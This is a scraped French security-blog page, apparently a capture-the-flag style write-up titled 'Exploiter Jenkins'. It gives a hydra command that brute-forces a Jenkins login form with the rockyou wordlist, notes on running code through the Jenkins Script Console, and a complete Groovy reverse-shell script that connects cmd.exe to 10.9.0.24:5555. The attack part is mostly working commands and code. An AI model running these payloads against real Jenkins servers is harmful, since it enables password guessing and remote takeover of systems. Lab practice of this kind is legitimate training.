1.0Sécuriser votre sitehttps://www.searchevolution.com/securityGermainhttps://www.searchevolution.com/security/author/germain/Exploiter Jenkins - Sécuriser votre siterich600338<blockquote class="wp-embedded-content" data-secret="OYBc1egEaX"><a href="https://www.searchevolution.com/security/2021/07/15/exploiter-jenkins/">Exploiter Jenkins</a></blockquote><iframe sandbox="allow-scripts" security="restricted" src="https://www.searchevolution.com/security/2021/07/15/exploiter-jenkins/embed/#?secret=OYBc1egEaX" width="600" height="338" title="« Exploiter Jenkins » — Sécuriser votre site" data-secret="OYBc1egEaX" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" class="wp-embedded-content"></iframe><script type="text/javascript">
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On peut tenter de trouver le mot de passe de Jenkins. On intercepte une requête de connexion dans burp On utilise hydra hydra -l admin -P /usr/share/wordlists/rockyou.txt internal.thm -s 8888 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password" Jenkins/Manage Jenkins/Script Console r = Runtime.getRuntime() p = r.exec( as String) p.waitFor() et on exécute le code pour obtenir un shell avec les privilèges du service Sur windows, voici un script groovy fonctionnel pour la console String host="10.9.0.24"; int port=5555; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();